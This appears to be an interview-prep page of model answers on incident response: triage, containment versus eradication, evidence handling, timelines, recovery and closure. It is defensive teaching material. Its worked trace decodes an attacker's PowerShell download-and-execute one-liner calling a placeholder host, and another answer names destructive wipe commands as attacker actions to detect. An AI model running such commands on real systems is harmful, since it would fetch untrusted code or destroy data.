Skip to content
Tech Interview Prep
Technical interview guide

Incident Response Basics

The standard phases of handling a security incident, from detection through lessons learned.

Minutes to read
4
Practice MCQs
25
Interview Q&A
25
Edition
v4
Editorial status
Reviewed

Scope: NIST SP 800-61 Rev. 3 (2025), CSF 2.0-aligned guidance, and official CISA playbooks accessed 2026-08-31..

Interview Q&A

Treat each question like a live interview question: answer out loud first (structure, assumptions, tradeoffs), then open the model answer to spot gaps and rehearse a tighter follow-up.

Curated: · Written: · Reviewed:

25 questions

Q&A-17

How do you distinguish between an event, an alert, and an actual security incident during initial triage?

Answer

The 90-second answer

They aren't three kinds of data: they're three stages of one decision, and each stage belongs to a different function.

  • An event is any observable occurrence in a system or network. It's a fact, not a judgement: a 4624 logon, a DNS query, a TLS handshake. No decision is attached.
  • An alert is a detection rule's claim that one event, or a correlation of events, is worth a human's time. The rule encodes a hypothesis: "five failures then a success inside 30 s is credential stuffing." The decision it triggers is investigate or close.
  • An incident is a validated claim that security policy has been violated, or is about to be. The decision it triggers is spend money and interrupt people.

So event→alert is detection engineering, and alert→incident is a risk judgement you make in triage. The triage question is never "which bucket is this?" It's "what would the attacker have gained if this is true?"

The definitions, with a source

NIST SP 800-61 Rev. 2 (2012) is the canonical wording: an event is "any observable occurrence in a system or network," and a computer security incident is "a violation or imminent threat of violation of computer security policies, acceptable use policies, or standard security practices." Note the imminent threat clause. You do not need confirmed harm to declare. Rev. 3 (April 2025) restructures the guidance around CSF 2.0 functions and drops the Rev. 2 event/incident taxonomy, so cite Rev. 2 when you want the definitions themselves.

ConceptNatureExampleDecision it triggers
EventRaw telemetryHTTP 200 GET /loginNone: log and retain per policy
AlertDetection logic (SIEM/EDR)50 failed logons + 1 success from an anomalous ASNInvestigate or close
IncidentValidated violation or imminent threatLSASS dumped, credentials reused on a second hostDeclare, contain, eradicate, recover

The triage test

Three questions, in order, stop at the first "no":

  1. Did it happen? Read the raw telemetry the rule fired on, not the rule's summary. False positive vs true positive.
  2. Did it succeed? Blocked vs executed. Most alert→incident calls are won or lost here, and it needs telemetry from a second plane.
  3. Did it matter? C-I-A impact or policy violation, or imminent threat, per the NIST clause.

Worked trace (illustrative; documentation IP ranges)

02:14:07Z  Event  4624 logon type 3, svc_backup from 10.20.4.31 -> WEB-07
02:14:09Z  Event  Sysmon 1: powershell.exe -enc SQBFAFgA... parent wmiprvse.exe
02:14:11Z  ALERT  EDR rule "WMI-spawned PowerShell", severity medium
02:14:12Z  Event  Sysmon 22: DNS query sync-cdn[.]example[.]net
02:14:13Z  Event  Sysmon 3: TCP 443 -> 203.0.113.44, 1.2 MB outbound over 40 s

Q1: yes. The raw Sysmon records exist, not just the rule's summary. Q2: decode the base64 and you get IEX (New-Object Net.WebClient).DownloadString('https://sync-cdn[.]example[.]net/a'); the egress completed and 1.2 MB left the host, so nothing blocked it. Q3: a web server's service account ran attacker-supplied code and exfiltrated data. Confidentiality violated. Incident.

Contrast: same rule, same host, but the proxy returns 403 and outbound bytes are 0. Q2 fails, so it's a benign positive: close the alert and file a tuning ticket, because the rule is firing on a path that is already blocked.

Failure modes

  • Alert fatigue. 12,000 alerts/day at 8 minutes each is 1,600 analyst-hours; a three-person 24×7 pod supplies roughly 72. The gap gets closed by closing alerts unread, which is how a real incident dies as noise. Detect it by tracking per-rule true-positive rate and alert-to-incident ratio; a rule running 10,000:1 is a tuning bug, not a detection.
  • Premature escalation. Declaring on unvalidated alerts burns IR budget and credibility. Page the exec team for a scanner twice and the third page gets ignored.
  • Under-escalation by severity label. The rule's severity is a property of the rule, not the incident. A "low" rule firing on a domain controller outranks a "high" rule on a lab box.
  • Correlation blind spots. Endpoint telemetry without egress telemetry makes Q2 unanswerable, and analysts default to closing. Log that as a telemetry gap, not a triage outcome.
  • Clock skew. A 30-second correlation window breaks when sources disagree by minutes; NTP drift on one appliance silently splits a correlated alert into two unrelated events.

Once all three answers are yes, you declare, assign initial severity, and hand off from alert analysis to incident command. The triage analyst's job ends at "this is an incident, and here is the evidence", not at containment.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-2

How do the NIST and SANS incident response lifecycles map to each other, and what operational distinction separates containment from eradication?

Answer

The mapping

SANS PICERL comes from the Incident Handler's Handbook (Eric Conrad, 2012): six steps. NIST SP 800-61 Rev. 2 (August 2012) defines four phases. Rev. 3 (April 2025) drops the phase model altogether and organizes IR activities under the six CSF 2.0 functions: Govern, Identify, Protect, Detect, Respond, Recover. So if an interviewer asks "what are NIST's phases," the accurate answer is "Rev. 2 has four; Rev. 3 doesn't have phases."

SANS (PICERL)NIST SP 800-61r2What closes the step
PreparationPreparationIR plan, comms tree, jump bag, log coverage, playbooks
IdentificationDetection & AnalysisValidated incident, scope, severity, evidence preserved
ContainmentContainment, Eradication & Recovery (one iterative phase)Blast radius frozen
Eradicationsame phaseArtefacts and root cause removed
Recoverysame phaseService restored and monitored
Lessons LearnedPost-Incident ActivityPost-incident report, control changes

NIST bundles the middle three because in practice they loop: recovery monitoring surfaces a new host, which sends you back to detection and analysis. SANS separates them as steps but the loop-back is the same.

Containment vs eradication

Containment stops the spread. It is reversible, and the adversary may still be resident inside the boundary. NIST r2 §3.3.1 lists the criteria for picking a strategy: potential damage, need for evidence preservation, service availability, time and resources, effectiveness, duration. The strategies it names are disconnect, disable, and monitor-and-contain.

Eradication removes the artefacts and the access path. It is destructive and irreversible. It happens only after scoping closes.

The gate between them is one question: can you name every persistence mechanism, every credential the adversary touched, and every host they reached? If not, eradication is a tip-off, not a fix.

Hypothetical trace, times relative to detection:

T+ActionPhase
0:00EDR flags a webshell write on web-01Detection & Analysis
0:22EDR network containment on web-01; revoke svc-deploy tokens; null-route C2 at the edgeContainment
0:35Memory capture and disk image, before any file is deletedContainment
3:10Scoping closes: same webshell on web-02, scheduled task on both, svc-deploy used from three source IPsDetection & Analysis
3:40Delete webshells, remove scheduled tasks, rotate svc-deploy, patch the exploited CVE, re-image web-01 and web-02Eradication
5:00Restore traffic, 72h enhanced monitoringRecovery

The 0:35 capture is a containment action, not eradication, because it changes nothing. Deleting the webshell at 0:22 instead of 3:40 would have destroyed the only pointer to web-02.

Failure modes

  • Premature eradication. Delete the webshell on web-01 early and the scheduled task on web-02 survives, and the adversary now knows you are watching. Detect it by diffing the host count in EDR telemetry against the scope in the incident doc.
  • Containment that isn't. Isolating the NIC while the compromised identity's OAuth refresh token stays valid leaves the adversary working through cloud APIs. Detect it by querying for authentication from that identity after the containment timestamp.
  • Over-containment. Isolating a domain controller or the only VPN concentrator turns a security incident into an availability incident. This is what NIST's monitor-and-contain strategy is for: keep the adversary in a watched segment instead of cutting production.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-1

How do you triage and set severity for a suspected security incident?

Answer

Two questions decide the first ten minutes: is the activity still happening, and what is the worst thing it could already have touched? I answer those before I put a number on it, because severity is a claim about impact and urgency, and both move as facts arrive.

Establish the clock and the source. I timestamp the alert in UTC, note the detection source (EDR, SIEM correlation rule, a human report), and check whether it is a duplicate of an open incident. Then I preserve before I poke: for a live host that means memory first, because running netstat or ps overwrites the very structures I want. RFC 3227's order of volatility: registers and cache, memory, network state, running processes, disk, remote logs, archival media: is the collection order I follow.

Correlate, then scope. I pull identity (who/what authenticated, from where), asset (what data and tier the host holds), process (parent-child tree, unsigned binaries), network (destinations, bytes out), application, and change records (was this deployed in the last 24 hours?). The point is to convert an alert into a sentence: what is happening, to what, and is it still happening.

Score it. I use NIST SP 800-61r2's three impact dimensions (functional impact, information impact, recoverability) and map the result onto a four-level scale:

SEVTriggerResponse clock
SEV1Active exfiltration, ransomware spreading across tenants, or a safety function downPage commander now; exec, legal, comms within 1 hour
SEV2Confirmed compromise of a production host or privileged identity, no confirmed exfilCommander engaged; containment within 4 hours
SEV3Single non-privileged account or one workstation, containedBusiness hours
SEV4Phishing report with no click, policy violationTicket queue

CVSS is for scoring a vulnerability, not an incident: a 9.8 CVE on an unreachable host is not a SEV1. Notification clocks are separate from severity and start on awareness, not on confirmation: GDPR Article 33 gives 72 hours, NIS2 a 24-hour early warning, and SEC 8-K Item 1.05 four business days from the materiality determination.

A worked triage. 02:14 UTC, EDR flags LSASS read by an unsigned binary on FIN-WEB-03. Parent process is w3wp.exe, so a web shell is likely. Network shows 12 MB outbound TLS to one address over eight minutes. The app pool identity is local admin on that host only, no domain rights. Still active plus data leaving plus a production financial host: SEV2, isolate the host now, capture memory before the reboot.

Contain or watch. The trade-off is real. Containment stops loss but tips off the attacker and can destroy the chance to map the campaign; observation preserves intelligence but extends exposure. My deciding criteria: is the adversary still expanding scope, and is regulated data at risk? If either is yes, contain. If it is commodity malware with no lateral movement and I need the C2 to attribute, a bounded 30–60 minute observation window with full packet capture is defensible, but only if I can isolate instantly and the data at risk is not regulated. Containment should be reversible first: disable the account, block the destination, isolate the host, not wipe it.

What actually goes wrong. Alert fatigue: a triager closing 400 alerts a day rubber-stamps the real one. Detect it by auditing the share of alerts closed as benign with no attached artifact. Contaminated forensics: someone runs a live-response script before imaging, and the memory evidence is gone. Detect it by checking host access logs against the imaging timestamp. Premature containment: isolating one host while the actor holds a second C2 channel, and they wipe or ransom in response. Check for redundant channels before you cut. Over-escalation: paging the exec team on a SEV4 burns the credibility you need for the real SEV1.

I write down the rationale and the next test, and I reassess on every scope or impact change. Downgrading is as evidence-based as escalating: a SEV2 that turns out to be a misconfigured scanner should be closed as SEV4 with the reason recorded.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-10

Maintain chain of custody for digital evidence.

Answer

What I'd say first

Chain of custody is the append-only record of who held the evidence, when, and what they did with it. I'd state one assumption up front: custody makes tampering detectable and attributable. It does not make the evidence true. So the answer is three mechanisms: a unique evidence ID, a cryptographic hash taken at acquisition and re-verified at every handoff, and a log that is only ever appended to.

Acquisition: pick live or dead before you touch anything

RFC 3227's order of volatility decides the sequence: CPU registers and cache, RAM, network state, running processes, disk, remote logs, archival media. If the host is running and holds keys or RAM-only artefacts, capture memory first (WinPmem, LiME, or FTK Imager's memory capture), then image the disk. If it's already off, or it's a business-critical server where you can schedule downtime, dead acquisition through a hardware write-blocker (Tableau, WiebeTech) is the cleaner artefact: nothing you run changes the source.

Image with a tool that hashes on the fly: dc3dd, FTK Imager, EnCase, Guymager. Record the tool and its version; a 2019 FTK Imager image and a 2024 one are different artefacts and opposing counsel will ask.

The record itself

FieldExample
Evidence IDCASE-2024-0142-DISK-01
SourceDell R740, serial ..., bay 3, /dev/sdb
Collector + authorityJ. Okafor, warrant 2024-0142, scope: full disk
Tool/versiondc3dd 7.2.646
Time2024-03-11T14:02:07Z (host clock offset +3 s vs NTP)
HashesSHA-256 9f2c…a41b, MD5 (legacy, for tool interop)
Storagevault-02, encrypted volume, WORM bucket, legal hold LH-88

Use SHA-256 as the primary digest. MD5 collisions have been practical since 2004 and SHA-1's chosen-prefix collision was demonstrated in 2017 (SHAttered); keep them only where a legacy tool demands them, and never as the sole integrity claim.

Verification, worked

Acquire, then re-read the source and the image and compare digests:

$ dc3dd if=/dev/sdb of=/evidence/CASE-2024-0142/disk.img \
    hash=sha256 hash=md5 log=dc3dd.log hlog=hashes.txt bs=512 conv=noerror,sync
$ sha256sum /dev/sdb /evidence/CASE-2024-0142/disk.img
9f2c…a41b  /dev/sdb
9f2c…a41b  /evidence/CASE-2024-0142/disk.img

(Digests abbreviated; the example is hypothetical.) Matching digests say the copy equals the source at acquisition time. They say nothing about whether the source was already modified before you arrived: that needs corroboration from logs, EDR telemetry or testimony.

Cost of the step: a 500 GB disk through a 120 MB/s write-blocker is ~70 minutes of reading. SHA-256 on a modern CPU runs at GB/s, so hashing adds almost nothing; the read dominates. Budget the window, not the hash.

Trade-offs

Live vs dead: live gets RAM, encryption keys and running state, but every command you run mutates the system and you must document it. Dead is cleaner and repeatable but loses volatile state and costs downtime. Deciding criteria: is the key only in memory, is the host business-critical, does the jurisdiction require a particular seizure process (ISO/IEC 27037, NIST SP 800-86).

Central vault vs ad hoc: a vault gives access control, an audit trail and retention enforcement; ad hoc is faster but custody gaps appear the moment evidence sits on an analyst's laptop. If you can't run a vault, at minimum a signed, append-only log with a hash per entry.

Failure modes

  • Gap in the log: an unrecorded transfer. Detected by a missing signature or a break in the hash chain. Do not backfill; document the gap and get an affidavit.
  • Hash mismatch on re-verification: bit rot, an accidental write, or the wrong tool. Detected by re-hashing the working copy against the recorded value; re-image from the original.
  • Clock skew: host timestamps are unreliable. Record the offset against a trusted time source, as in the table above.

What custody does not prove

It doesn't prove relevance, that the host clock was right, or that an analyst's interpretation is correct. Those need separate corroboration and testimony. Retention is a separate decision: SEC 17a-4 keeps broker-dealer records six years with the first two readily accessible; PCI DSS v4.0 (10.5.1) keeps audit logs twelve months with three months immediately available. Legal hold overrides your normal deletion schedule.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-9

Collect forensic evidence from a live compromised system.

Answer

First, I'd confirm I have written authorization and a defined scope. Then I'd prioritize volatile data because it's lost on shutdown. I'd capture memory first using AVML on Linux (avml /evidence/mem.lime) or winpmem on Windows (winpmem.exe -o mem.raw). Memory holds running processes, network connections, and encryption keys. Then I'd capture process list (ps aux), network connections (ss -tulpn), logged-in users (who -a), open files (lsof -p <pid>), and finally disk images with dc3dd if=/dev/sda of=/evidence/disk.img hash=sha256. I'd hash every artifact (sha256sum mem.lime > mem.lime.sha256), label with case number, collector, timestamp, and store on write-once media or a restricted server. I'd validate time offsets by comparing system time to a trusted NTP source and record the offset. If the attacker is active, I'd isolate the host from the network but keep management access, and document why.

Why memory before disk? Disk is persistent; memory is ephemeral. Normal system activity and the acquisition tool itself overwrite unallocated memory. For example, running avml on a 16 GB host takes 2-5 minutes and writes a 16 GB image; the tool's own memory footprint can push the system into swap, evicting pagefile contents. On Windows, the pagefile can be overwritten as memory pressure increases, so capture it early or accept loss. Live acquisition alters state mechanically: loading a tool creates new processes, changes atime, and may overwrite unallocated memory. AVML is user-space and avoids loading a kernel module, unlike LiME (insmod lime.ko), which alters kernel state and can crash the host. Concrete failure modes: pagefile eviction (detect by monitoring pagefile usage), attacker wiping on detection (e.g., rm -rf / or cipher /w; detect by sudden disk I/O or process creation), and collector crashing the host (e.g., AVML OOM or winpmem driver conflict; detect by system hang or blue screen). Alternatives: if the system is not actively compromised, you might shut it down and image the disk, but you lose volatile data. If ongoing harm outweighs volatile value, contain first and document why.

OrderDataLinux commandWindows command
1Memoryavml /evidence/mem.limewinpmem.exe -o mem.raw
2Processesps auxtasklist /v
3Networkss -tulpnnetstat -anob
4Logged-in userswho -aquery user
5Open fileslsof -p <pid>handle.exe -p <pid>
6Diskdc3dd if=/dev/sda of=/evidence/disk.img hash=sha256FTK Imager or dc3dd

Corroborate the process list and network connections with centralized sources like EDR or SIEM logs. The decision point: if the attacker is actively destroying data, contain first; otherwise, capture memory first. Always document what you did and why.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-11

Build and maintain an incident timeline from conflicting evidence.

Answer

What I'd say first

Assume the sources disagree, at least one clock is wrong, and the output has to survive a postmortem and possibly legal review. So: one timeline in UTC, every row carrying its own provenance and an explicit fact-or-inference label, and ordering driven by identifiers wherever identifiers exist. Timestamps only where they don't.

Why timestamps alone break

NTP-synced hosts on the public internet land within tens of milliseconds of each other; against a local stratum-1 server, sub-millisecond. A host that loses its NTP source free-runs on the crystal at roughly 10–100 ppm, so it drifts 1–8 seconds per day. Two hosts, one 4.2 s fast and one 1.8 s slow, put a 6-second apparent gap between events that were simultaneous. If the process under investigation lived 3 seconds, the timeline shows it ending before it started: the kind of contradiction that gets an incident report torn apart.

Coarse granularity does the same thing without any skew: VPC Flow Logs aggregate at 60 seconds by default, so a connection that lasted 200 ms is a 60-second bucket. RFC 3164 syslog carries no year and no timezone, so a December event can sort into January. RFC 5424 fixed that; if you're still parsing 3164, you're inferring.

Why identifier joins survive

A trace_id or request_id is assigned once and copied, so it doesn't care about clocks, rotation, or NAT. The 5-tuple does care: NAT rewrites the source port, so a 5-tuple join breaks at the NAT boundary unless you have the translation table or a proxy-injected header. Rotation matters too: kubelet rotates container logs at 10 Mi with 5 files by default, so a chatty container can lose the start of the incident; join on trace_id across the rotated files and the collector rather than on file position.

Trade-offs

Timestamp ordering is cheap and works on uninstrumented sources (kernel logs, auth logs, a switch) but that's exactly where skew and granularity bite. Identifier joins are precise but only cover instrumented paths; anything without a shared ID falls back to timestamps, so you end up with both and a rule for which wins.

Centralized (one SIEM index) queries fast, but you inherit the parser's time extraction and often lose the raw bytes. Per-source timelines with raw artifacts preserved are slower to query and defensible. When it's too expensive: a single-host incident with one log source and a synced clock doesn't need any of this. journalctl -o short-iso-precise plus chronyc tracking to confirm the offset is enough. Hashing every artifact is overkill below, say, a suspected-compromise severity.

Failure modes

  • Parser grabs the wrong field: Splunk's _time is the parsed event time, _indextime is when it was indexed; ECS has @timestamp and event.ingested. Pick wrong and everything lands at ingest.
  • Timezone-naive timestamps silently assumed local.
  • Superseded rows deleted, so nobody can see why confidence changed.
  • Missing logs treated as "nothing happened" instead of stated as a gap.

Artefacts

SourceTime semanticsSkew / granularity
syslog RFC 5424event time with offsethost clock, tens of ms if NTP-synced
syslog RFC 3164no year, no TZinferred; can sort across a year boundary
VPC Flow Logsstart/end epoch seconds60 s default aggregation
CloudTrailUTC eventTimedelivery lag of minutes
Splunk_time vs _indextimediffer by ingest lag

Join on the identifier, not on time:

SQL
SELECT p.ts AS proxy_ts, a.ts AS app_ts, a.ts - p.ts AS delta
FROM proxy p JOIN app a USING (trace_id)
WHERE abs(a.ts - p.ts) < interval '30 seconds';

The 30-second window is a sanity filter, not the join condition, if the join only works because the times are close, you've learned nothing.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-19

Respond when critical incident logs are missing or suspected tampered.

Answer

I treat missing critical logs as a potential security incident until I can prove otherwise. I assume I can read control-plane audit logs and can isolate systems. I preserve what is left, snapshot disks and object versions, and write down the exact gap: source, tenant, region, field, start and end, expected retention, and clock source. Then I classify the loss, corroborate with independent evidence, contain based on worst credible capability, and only then restore collection.

The classification is pattern matching. If one tenant's logs vanish while others keep flowing, it is usually config or deletion: check the trail selector, bucket policy, IdP tenant deletion. If every source in one AZ or region stops, it is outage or network: check agent heartbeat, collector ingest rate, provider health. If logs stop exactly at incident start and resume after, and control-plane audit shows StopLogging, DeleteTrail, or auditd disabled, treat it as tampering. CloudTrail Event history keeps 90 days of management events independent of trails, so a deleted trail still leaves DeleteTrail. Google Cloud Admin Activity audit logs default to 400 days; Data Access logs default to 30 days. Azure Activity Log keeps 90 days. Those defaults tell you what should exist.

PatternFirst checkTamper signal
All sources for one tenant missingTrail selector, bucket policy, IdP tenant statusTenant deletion event in IdP, no StopLogging
All sources in one AZ or region missingAgent heartbeat, collector ingest, provider healthProvider health green, but control-plane logs show config change
Logs stop at incident start, resume afterCloudTrail Event history, S3 Object Lock, auditd statusStopLogging, DeleteTrail, auditd disabled, sequence gap
Host logs stop, network logs continuedf -h, journalctl --disk-usage, systemctl status systemd-journaldDisk full, but no config change; or journald disabled

Worked example: at 14:02 UTC, CloudTrail StopLogging in us-east-1. 14:03, GuardDuty finding on the same principal. 14:04, VPC flow logs to S3 stop. 14:05, host journald still writes. That pattern is control-plane tamper, not a network outage. Containment order: freeze IAM changes, rotate keys, isolate the principal, then restore the trail. If instead all regions lose flow logs but host logs continue, suspect S3 bucket policy or egress, not attacker.

Failure modes: rebuilding the collector before snapshotting overwrites the only evidence; detection is a new collector starting with no gap in its own logs, cost is forensic. Clock skew: if NTP is blocked, timestamps drift; detection is chronyc tracking offset over 1s, cost is a wrong timeline. UDP syslog drops under load; detection is sequence gaps and collector receive-queue drops, cost is missing auth events. Attacker disabling auditd; detection is systemctl is-enabled auditd returning disabled, but no log of who did it.

Trade-off: contain vs preserve. Alternatives: immediate isolation and credential revocation; preserve and monitor with enhanced logging; restore logging first then contain. Criteria: worst credible capability, active exfiltration, business criticality, legal hold. Containment is wrong when evidence points to outage, no active attacker signal, and isolation would take down a revenue system; then preserve and restore visibility first. But if the attacker can delete logs, they can delete data, so contain identity and control plane first.

Recovery: independent immutable path. S3 Object Lock in compliance mode, a separate log archive account, organization trail. Pipeline health alerts: ingest rate drops over 30% for 5 minutes, agent heartbeat missing for two intervals, forwarder queue over 80% for 10 minutes. Access separation: logging admins separate from production admins, break-glass. Capacity: at 10k EPS and 1 KB per event, that is 10 MB/s; a 2 GB disk buffer holds 200 seconds, so a 10-minute partition loses the first 6m40s. Exercise it.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-12

Choose a containment strategy under uncertainty.

Answer

Assume I don't yet know whether this is a false positive, commodity ransomware, or a hands-on-keyboard operator. Containment under uncertainty is a bet: every action trades some attacker freedom for some evidence, some business availability, and some information about what the attacker does next. My default is the narrowest action that stops ongoing harm, plus pre-committed triggers to escalate.

In the first 60 seconds I state what I actually know, which host, which account, what telemetry fired, what's confirmed versus inferred, and name the one asset that changes the decision. A domain controller or a safety system and I escalate now. One laptop with a suspicious process and I contain narrowly and watch.

Concretely, at each layer:

LayerNarrow actionBlast radiusReversible?Evidence cost
IdentityEntra ID 'Revoke sessions' on the account; rotate its access keysOne user; already-issued access tokens live up to their 1h defaultYesLow: sign-in logs preserved
EndpointEDR network containment (CrowdStrike Falcon, Defender for Endpoint 'Isolate device')One host; sensor keeps its cloud channelOne clickLow if you capture RAM first
NetworkBlock the specific C2 domain or IP at egressOne destinationYesTells the attacker you're watching
ApplicationDisable the vulnerable endpoint or add a WAF ruleOne featureYesLow
DataSnapshot the volume before any wipeStorage costYesPreserves disk, not RAM
DeploymentFreeze CI/CD, pause deploysRelease velocityYesLow

The mechanism behind narrowest-first: a broad block (a whole /24, a shared egress proxy) is fast and certain to stop the traffic, but it also tells the operator they're burned, and a competent one switches to a backup channel or wipes the host. You lose the ability to observe the next move. A narrow block on one domain keeps the rest of the kill chain visible. That's why I prefer endpoint containment plus identity revocation over a network-wide block unless spread is already confirmed.

Two things I do before containment if I can: capture volatile memory (WinPmem, Magnet RAM Capture, or the EDR's live-response memdump) and snapshot the disk. A reboot destroys RAM: the beacon config, injected code, and often the C2 domain only exist there.

Worked trace: an alert fires on FIN-WRK-042, a finance laptop, beaconing to a domain. Privileged account? No. Server? No. I capture RAM, isolate the host via EDR, revoke the user's sessions, block the domain at egress, and watch for 30 minutes. A second host beaconing to the same domain is confirmed spread and I escalate to network segmentation. Nothing else fires and I keep the host isolated, image it, and rebuild.

Failure modes I've seen:

  • Isolating the host but not rotating the credentials the attacker already dumped. They re-enter over VPN with valid creds. Detect: new sign-in for the same account from a different ASN. Cost: re-compromise within hours.
  • DNS-only blocking of the C2. The implant uses an IP literal or DoH. Detect: outbound 443 to a new IP with no matching SNI.
  • Rebooting to 'clean' the host. Persistence (scheduled task, service, Run key) survives and RAM evidence is gone. Detect: same beacon reappears after reboot.
  • Over-broad network block. Helpdesk tickets spike, C2 goes quiet, and you can't tell whether you won or the attacker moved. Detect: no C2 traffic plus no other telemetry change.

Escalation triggers I pre-commit: confirmed lateral movement, a domain controller or backup server touched, encryption or exfiltration observed, or safety impact. Any of those and I go wide (segment the network, disable the account, isolate the fleet) and accept the evidence and availability cost.

Containment is not remediation. After the immediate action I rotate credentials, remove persistence, patch the entry point, and validate recovery from a known-good backup. I record who approved the action and what outcome I expect, then check whether the C2 actually stopped.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-15

Plan safe recovery and return to service after compromise.

Answer

What I'd say first (60–120s)

Assumptions I'd state up front: we have a confirmed compromise of at least one host and one credential; we hold an offsite backup tier that predates the incident; and the business has named an RTO of 4 hours and RPO of 15 minutes for the primary service. If any of those is false the plan changes: with no verified clean point we rebuild from source, not from backup.

The answer: freeze and preserve, find the last known-good point, rebuild rather than clean, rotate every trust the attacker could have touched, restore into isolation, then ramp traffic in stages with exit criteria that are measurable rather than felt.

Why rebuild beats clean

Cleaning assumes you can enumerate every persistence mechanism. On Linux that means systemd units, cron, ~/.ssh/authorized_keys, LD_PRELOAD entries in /etc/ld.so.preload, and loaded kernel modules. On Windows it means scheduled tasks, WMI event subscriptions, and services. You cannot prove a negative, so a cleaned host is a host you hope is clean. Rebuilding from a golden image whose hash you verify gives you a state you can reason about; the cost is re-applying configuration, which is exactly why config belongs in code.

Trust rotation is the part teams get wrong

Rotating the compromised user's password is not enough. Every credential the host could read is now suspect.

TrustExampleWhy it's in scope
HumanSSO session, passwordAttacker had interactive host access
WorkloadIAM role, service accountReadable from instance metadata or config files
SigningCI signing key, code-signing certLets the attacker ship artifacts you trust
EncryptionKMS key, TLS certDecrypts data at rest and in transit
DirectoryKerberos krbtgtForged TGTs survive ordinary password resets

Kerberos is the classic trap: resetting krbtgt once leaves existing TGTs valid for the domain's maximum ticket lifetime. 10 hours by default in Active Directory. You reset it twice, waiting for replication between resets, or the attacker's golden ticket still works.

In AWS, rotating an access key is not enough if the attacker holds a role session; you revoke sessions by attaching a deny policy conditioned on aws:TokenIssueTime being older than the revocation time.

Failure modes and how you'd see them

  • Restoring a backup taken inside the compromise window → re-infection within hours. Detect by comparing backup creation time against the first malicious event in the timeline, and scanning the restored image for the implant hash before it takes traffic.
  • Missing a non-human identity → the attacker keeps access. Detect by watching the audit log for API calls from a credential you believed was rotated.
  • Reconnecting downstream systems too early → lateral movement. Detect by egress from the restored host to destinations outside its pre-incident baseline.
  • Canary too small or too short → low-rate data corruption slips through. Detect with business invariant checks (ledger sum, order count), not just error rate.

Ramp with numbers

1% of traffic for 30 minutes, 5% for 1 hour, 25% for 2 hours, then 100%. Exit criteria at each stage: error rate within 10% of the pre-incident baseline, no new authentication failures, invariant checks passing. Rollback means returning to the previous stage, not restoring from backup.

Close

Residual risk goes to the service owner in writing: what we could not verify, what we are monitoring, and the tracked actions with owners and dates.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-16

Define evidence-based incident exit and closure criteria.

Answer

Assumptions: severity-tiered (SEV1–SEV3), one incident commander owns the call, and exit and closure are two different gates. Exit = stop active response and hand residual work to accountable owners. Closure = the post-incident work is verified done. Conflating them is the most common mistake, and it is what lets an incident quietly reopen weeks later.

The core answer: every criterion needs a named artifact that proves it, not an assertion. "Containment achieved" is not evidence. "IAM audit shows zero active sessions for the compromised principal, and 60 minutes of flow logs show no new egress to the C2 IP" is.

Exit gate: four criteria, each with evidence:

  1. Containment. Active harm stopped. Evidence: revoked credentials and sessions, blocked egress, isolated hosts. Verify with a query, not a dashboard that went quiet.
  2. Eradication. Root cause removed. Evidence: the fix is deployed and the specific exploit path is re-tested and now fails. "We patched it" without a re-test is a hypothesis, not a fact.
  3. Recovery. Services back to pre-incident baseline. Evidence: error rate and latency at baseline for a stability window. 30 min for SEV3, 60 min for SEV1, or one full traffic cycle (e.g. a daily batch), whichever is longer.
  4. Reconciliation. State matches a known-good source. Evidence: row counts, queue depths, ledger balances reconciled, not eyeballed.

Closure gate: after exit:

  • Corrective actions each carry an owner, a deadline, and a verification method.
  • Notifications complete: GDPR Art. 33 = 72 hours from awareness; SEC Form 8-K Item 1.05 = 4 business days after materiality is determined; NIS2 = 24h early warning, 72h notification, 1-month final report.
  • Evidence preserved under retention: logs, forensic images, the decision timeline.
  • Residual risk accepted explicitly by a named owner, with reopening triggers written down.

Trade-off: fast exit vs holding open for forensics. Decide on two questions: is there active harm? (exit now) and is volatile evidence about to be lost? (snapshot first, then exit). You can exit and keep the incident open for forensics: they are not the same gate, and treating them as one forces a bad choice.

Failure modes:

  • Premature closure after attacker persistence. Eradication was never verified, so the attacker re-establishes access days later. Detect by re-testing the exploit path and watching for re-infection, not by trusting the patch ticket.
  • Alert silence mistaken for recovery. The incident broke the monitoring pipeline itself. Detect by health-checking the pipeline, not just observing it is quiet.
  • Reopened incident from skipped reconciliation. Data drift surfaces weeks later because counts were never compared.

Worked example (hypothetical figures). SEV1 credential-stuffing breach. Exit at T+6h: sessions revoked, egress blocked, error rate at baseline for 60 min. Closure at T+10 days: GDPR notified at T+70h, corrective action (MFA enforced) verified by re-test, residual risk (one unpatched host) accepted by the service owner with a 7-day deadline.

Closure is an operational state, not proof nothing was missed. Later evidence reopens it.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-18

What are the essential components and technical objectives of an incident summary report produced after containment and eradication?

Answer

The first 90 seconds

Pin the moment first: this report is written at the gate between eradication and recovery, before a single host is rebuilt. Two audiences: the recovery lead deciding what is safe to bring back, and the exec sponsor who needs the blast radius on one page. Assumptions I'd state out loud: all timestamps UTC, every claim carries an artefact ID from the case system, and the document is versioned because scope moves for days after it's issued.

The objective isn't to tell the story of the incident. It's to answer three questions with evidence: what did they touch, how do we know they're gone, and what is still unsafe. A report that answers those three is finished; one that narrates the attack is a war story.

The components, in the order they earn their place

  1. Validated scope. Confirmed compromised hosts, identities and data stores by identifier, plus the neighbours you checked and cleared. The cleared list matters as much as the compromised one: it's what lets recovery prioritise.
  2. Attack path, evidence-linked. Initial access vector, then each step of the chain tied to a log entry, process tree or file hash. "Phishing suspected" is not a finding.
  3. Containment proof. The controls applied: host isolation, egress blocks, token revocation, KRBTGT rotated twice with a replication interval between, and the telemetry showing they held.
  4. Eradication proof. What was removed, and the fleet-wide sweep that confirms it. State the limitation explicitly: a clean sweep proves the IOCs you knew about are gone. It says nothing about persistence you never found.
  5. Residual risk and recovery preconditions. Rebuild versus in-place, required patch levels, credential resets, offline hosts nobody imaged.
ComponentArtefact that makes it passFailure mode it prevents
ScopeAsset/identity list keyed to host IDs, with the evidence that put each on itRebuilding a host that was never compromised, or missing one that was
Attack pathEach step mapped to a log ID, process tree or hashNarrative that can't be re-verified or hunted against
ContainmentFlow counts against known C2 endpoints over the dwell window, coverage gaps disclosed"Alerts stopped" mistaken for eviction
